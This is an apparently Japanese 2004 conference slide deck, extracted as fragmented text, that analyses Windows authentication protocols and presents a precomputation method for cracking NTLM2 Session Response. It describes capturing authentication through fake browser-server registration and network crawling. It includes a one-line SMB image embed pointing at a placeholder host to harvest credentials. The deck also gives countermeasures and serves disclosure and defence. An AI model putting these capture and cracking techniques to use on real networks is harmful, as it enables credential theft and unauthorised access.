Optimized Attack for
NTLM2 Session Response
Daiji Sanai & Hidenobu Seki
SecurityFriday.Com
2004.10.15
ReadMe
• 注意事項
◆本日のポイント
• Windows認証は本当に弱いか
• Windows認証を正しく理解する
–
–
–
–
Windowsの認証方式
ハッシュの脆弱性
ネットワーク認証の脆弱性
NTLM2 Session Response
• 高速パスワード解析手法
◆ Windows 認証は弱い!
• え?誰が言ったの?
• あなたの会社は
– POP3、FTP、HTTP、TELNET.....
• Windows認証に関しては、
専門家も知らない誤解や誤情報が多い!
認証パスワードを盗めるか?
• “認証から”......重要!
• 認証パスワードとは
– サーバーが記憶しているパスワード
– クライアントが記憶しているパスワード
– ネットワーク上を飛ぶ認証パスワード
パスワードの盗み方(余談)
• パスワードの在処
– 脳みそ、メモ帳、パソコンのアプリ、ポストイット
• テクニカルである必要はない
–
–
–
–
–
聞く
盗み見
ソーシャルエンジニアリング
ゴミ漁り
本日は、テーマ外!
キーロガー
認証パスワードの在処
Windowsが記憶する認証パスワードはどこ?
• ローカルアカウント
– SAM (Security Account Manager)
• ドメインアカウント
– Active Directory
◆記憶されるパスワードの形
• Windows 9x/Me
– パスワードによるデータの暗号化(RC4)
– PWLファイル
• Windows NT/2000/XP/2003
– LMハッシュ、NTLMハッシュ
LM ハッシュ
•
•
•
•
•
パスワードを鍵とした固定値のDES暗号化
パスワードは14文字まで
7文字毎に別々に暗号化
英大文字小文字の区別なし
英数字記号パスワード総数:7兆5千億弱
NTLM ハッシュ
•
•
•
•
•
パスワードをMD4でハッシュ化
パスワードは127文字まで有効
英大文字小文字を区別
7文字ごとの分割なし
総数≒∞
◆ネット上を飛ぶパスワードの形
•
•
•
•
•
LM 認証
NTLMv1 認証
NTLMv2 認証
NTLM2 Session Response
Windows Kerberos
サーバー
LM 認証方式
クライアント
ネゴシエーション
チャレンジキー生成
(A)8byte
チャレンジ
認証データ
8byte
8byte
(A)
8byte
DES
LMハッシュ(16byte)
KGS!@#$%
DES
大文字化(パスワード)
LM レスポンス
• LM ハッシュ
– 英数字記号パスワード総数:7兆5千億弱
• パスワードが7文字以下か8文字以上か瞬時に
判明
• プレコンピューティング辞書攻撃が可能
– チャレンジを固定したサーバー
サーバー
NTLMv1 認証方式
クライアント
ネゴシエーション
チャレンジキー生成
(A)8byte
チャレンジ
認証データ
8byte
8byte
(A)
8byte
DES
NTLMハッシュ(16byte)
MD4
unicode(パスワード)
NTLMv1 レスポンス
• NTLM ハッシュ
• プレコンピューティング辞書攻撃が可能
– チャレンジを固定したサーバー
• 懸案事項
– DESの鍵空間はそんなに大きくない 256 = 約7京個
サーバー
NTLMv2 認証方式
クライアント
ネゴシエーション
チャレンジキー生成
(B)8byte
チャレンジキー生成
(A)8byte
チャレンジ
(A)
認証データ
16byte
(B)
(B)
HMAC-MD5
ユーザー名+ドメイン名
HMAC-MD5
NTLMハッシュ
NTLMv2 レスポンス
• NTLM ハッシュ
• DES は使用せず
• クライアントチャレンジがある
– プレコンピューティング辞書攻撃不可
• 暗号処理にドメイン/ワークグループ名が含まれる
– ドメイン/ワークグループの指定が必須で使いにくい
• ほとんど使われていない
Windows Kerberos 認証方式
サーバー
クライアント
チャレンジキー生成
(A)16byte
認証データ
(A)
36byte
RC4
日付などのデータ
HMAC-MD5
1
HMAC-MD5
NTLMハッシュ
Windows Kerberos
• NTLM ハッシュ
• DES は使用せず
• クライアントチャレンジがある
– プレコンピューティング辞書攻撃不可
• 盗聴攻撃は可能
• ユーザー(または管理者)が使用を強制できな
い
– 故意に条件を変えて、回避できる
Windows 認証比較
LM
NTLMv1
NTLM2
session
response
NTLMv2
Windows
Kerberos
Password
case sensitive
No
Yes
Yes
Yes
Yes
Hash
algorithm
DES (ECB
mode)
MD4
MD4
MD4
MD4
Hash value
length
64bit + 64bit
128bit
128bit
128bit
128bit
Client
challenge
No
No
Yes
Yes
Yes
Response key
length
56bit + 56bit
+ 16bit
56bit + 56bit
+ 16bit
56bit + 56bit
+ 16bit
128bit
128bit
Response
algorithm
DES (ECB
mode)
DES (ECB
mode)
DES (ECB
mode)
HMAC_MD5
HMAC_MD5 &
RC4
Response
value length
64bit + 64bit
+ 64bit
64bit + 64bit
+ 64bit
64bit + 64bit
+ 64bit
128bit
36byte
OS別ハッシュ&レスポンス
NTLM2
session
response
Windows
Kerberos
パスワー
ドハッシュ
LM
9x/Me
特殊
◎
NT4.0
LM/NTLM
◎
◎
2000
LM/NTLM
◎~SP2
○
◎~SP2
○
○
◎SP3~
○
△
XP
LM/NTLM
○
○
◎
○
△
2003
LM/NTLM
○
○
◎
○
△
NTLMv1
NTLMv2
○
○
◆ Windows 認証の脆弱性
• ハッシュの脆弱性
• ネットワーク認証の脆弱性
違う!
• よく知られる脆弱性
– 7文字暗号化問題(LMハッシュ、LM認証)
– 下位互換性(LMハッシュ、LM認証)
– レインボーテーブル(LMハッシュ、NTLMハッシュ)
何に対する脆弱性なのかを正しく理解する
◆ハッシュの脆弱性
• レインボーテーブルによる超高速解析
• ハッシュが抜かれるということは、手遅れ
– 監査手法としては有効か
Rainbow Table
• パスワードハッシュ解析用計算手法
• 特にWindowsのハッシュに最適
• 既知の、パスワードとハッシュ値の組による
プリコンピューティング
– 超高速化
– データベースの低容量化
• チャレンジを使うLM/NTLM認証には適応不可
Rainbow Tableの効果
• RainbowCrackの例
–
–
–
–
–
LM ハッシュ
パスワード総数:806億(英数字)/7兆5千億(記号も)
プレコンピューティング 5日/2年
ディスク容量 3GB/119GB
解析時間 20秒以内(+ディスクアクセス2分半)/
13分以内(+ディスクアクセス1時間半)
◆ネットワーク認証の脆弱性
• 社内ユーザは、
ネットワーク認証データの取得が容易
• 認証パケットの漏洩を防ぐことは困難
強い認証が必須
ネットワーク認証の解析ツール
• 良く知られるもの
– ScoopLM/BeatLM
– Cain
– LC (L0pht Crack)
LM 認証へのブルートフォース攻撃
• 2ヶ月以内に完全解読可能
– 通常の総当たり
– 英数字記号パスワード総数:7兆5千億弱
• LM認証は弱く危険!
LM認証を
使ってはいけない
Rainbowのネットワーク認証適用
• LM/NTLM認証には適用できないと言われるが
• BugTraqで公表(2004/9/14:Urity)
– サーバチャレンジを強制固定する
– NTLMv1も、Rainbowの対象になる
• クライアントチャレンジへの適用は不可
– NTLMv2 認証
– NTLM2 session response
◆ NTLM2 session response
• 密かに変わっていた認証方式
– Windows 2000に実装
– Windows 2000 SRP1からデフォルト使用
• SRP1はSP3以降に含まれている
– Windows XP/2003ではデフォルト使用
• あまり知られていないが現在はデフォルト
• 見た目がNTLMv1と同じ
NTLM2 session response
• Eric Glass氏が2003年7月に解読
• プレコンピューティングへの対策
– Eric Glass氏によれば、
プレコンピューティング辞書攻撃不可
• 正確な名称さえ不明
– 専門家の間では(Eric Glass氏による命名)
NTLM2 session response
サーバー
旧 NTLMv1 認証方式
クライアント
ネゴシエーション
チャレンジキー生成
(A)8byte
チャレンジ
認証データ
8byte
8byte
(A)
8byte
DES
NTLMハッシュ
新 NTLM2 S.R. 認証方式 クライアント
サーバー
ネゴシエーション
チャレンジキー生成(B)8byte
チャレンジキー生成
(A)8byte
チャレンジ
認証データ
8byte
(B)
8byte
(A)
8byte
DES
(B)
MD5
(C)
(D)
NTLMハッシュ
使われる条件
• NTLM2 session security使用時に登場
– LMCompatibilityLevelレジストリとは不一致
• ネゴシエーション成立時のみ
– 対2000サーバー Goldは対応
• サーバ側はデフォルト使用ではなくても、
実装されていれば使用する
– 対NTサーバーは利用できない
• ユーザーが使用を強制できない
本当に強いのか?
• クライアントチャレンジの導入
– Rainbow Tableで攻撃できない
• 既知のクラックツールが使えない
– Cainが対応→クラックスピードが遅い
• 効率の良いクラッキング手段はないのか
• 本当に安全なのか!
◆ NTLM2 S.R.の高速解析手法
注目の2バイト
(A)
認証データ
(B)
8byte
8byte
8byte
DES
ここに着目
(B)
MD5
(C)
(D)
7byte 7byte 2byte
NTLMハッシュ(16byte)
MD4
パスワード
注目の2バイト(2)
(A)
認証データ
(B)
8byte
8byte
8byte
DES
65536通り
(B)
MD5
(C)
(D)
7byte 7byte 2byte
NTLMハッシュ(16byte)
MD4
あらかじめ65536通りにグループ化された
ワードDBを作成しておくことで、65536倍
の速さでクラッキングが可能になる
パスワード
プレコンピューティング
パスワード
AAAAAAA
BBBBBBB
CCCCCCC
DDDDDDD
EEEEEEEE
FFFFFFFF
・
・
・
・
0000
0001
NTLM
ハッシュ
を計算
下2バイト
で分類
0002
0003
0004
FFFE FFFF
65536通り
2バイトのDES鍵でブルートフォース攻撃
パケットより取得
8byte
8byte
8byte
(A)
照合
一致
ABCD
チャレンジ
DES
0000000000
(B)
MD5
(C)
(D)
判明した鍵グループ
約0.1秒
0000
0000000000
~
65536通り
FFFF
0000000000
パスワードDBの特定
判明した鍵グループ
(NTLMハッシュ)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
この中に
パスワードがある
0000
0001
0002
~
ABCD
~
FFFE
FFFF
65536通り
解析時間とDBサイズ
解析時間(Pentium 4 2.5GHz)
Cain
本方式
パスワード数
DBサイズ
24時間
2秒
735億
180GB
7日
8秒
5141億
1.3TB
14日
14秒
1兆282億
2.5TB
30日
30秒
2兆2032億
5.6TB
3ヶ月
1分半
6兆6096億
17TB
6ヶ月
3分
13兆2192億
34TB
1年
6分
26兆8056億
68TB
ブルートフォースパスワード空間
•
•
•
•
•
•
英小文字8文字まで
英(大小)数記号6文字まで
英(大小)数7文字まで
英(大小)8文字まで
英(大小)数記号7文字まで
英(大小)数8文字まで
2171億
7430億
3兆6千億
54兆
71兆
222兆
プレコンピューティングの限界
• 全パスワード対応は、不可能
•
•
•
•
パスワード推測アルゴリズムによる最適化
3ヶ月程度の強度までは、現実的な範囲
強いパスワードには影響がない
充分に強いパスワードの使用が必須
◆認証パケットの取得の実際
• スイッチングハブ環境で、どうするか
– スイッチも完璧ではない
• 簡単に送出される認証パケット
– ダミーサーバー登録
– ネットクロール
– ウエブブラウズによる認証送出
ダミーサーバー登録攻撃
• コンピュータ一覧をフェイクする
• マスタブラウザへの偽登録は簡単
• ドメインマスタブラウザでも可能
• 偽サーバーをマスタブラウザに登録
• クリックしやすい名前で登録
• ユーザーがクリックするのを待つ
ネットクロール
• 共有フォルダ/プリンタの検索機能
–
–
–
–
マイネットワークをクリック時
マスタブラウザからコンピュータリスト取得
全コンピュータの共有フォルダをチェック
このとき、認証パケットを送出
• Me, XP, 2003もデフォルト有効
Microsoft KB256248,276322,320138
ネットクロールその2
• Windows XP SP2でも動作
– Windows ファイアウォールに無関係
– ファイルとプリンタ共有例外に無関係
• ドメイン所属パソコンでは動作しない
ウエブブラウズによる認証送出
• 7年経っても改善されない問題
• 悪意のあるウエブサーバー
–
–
–
–
SMB画像埋め込みで、認証取得可能
<img src=file://\\www.xxx.yyy\zzz>
インターネットでも取得可
NTサーバーを装えば、LM認証も飛ぶ
新たな問題
• ワード文書表示で、インターネットへ認証を送出
– WebClient service in Windows XP
• 悪意のあるウエブサーバーで認証を取得可能
– IIS+.doc
• 2004.9.3 発見
– 2004.9.6 マイクロソフトに報告
– マイクロソフトでは、重大な問題ではないと判断
– 2004.9.27 NTBugTraqで公表
◆ 対 策
•
•
•
•
ハッシュを抜かれるな!
ネットワーク認証は、盗まれるのが前提
LM 認証は使わない
充分に強いパスワードを使う
– 推定強度6ヶ月以上が必須
– 13兆番目以降のパスワード(笑)
最後に
これだけは、意識して欲しい
• LMハッシュとLM認証は違う!
• NTLMハッシュとNTLM系認証は違う!
よって
• ハッシュの脆弱性と認証の脆弱性は違う
ダウンロード

LM authentication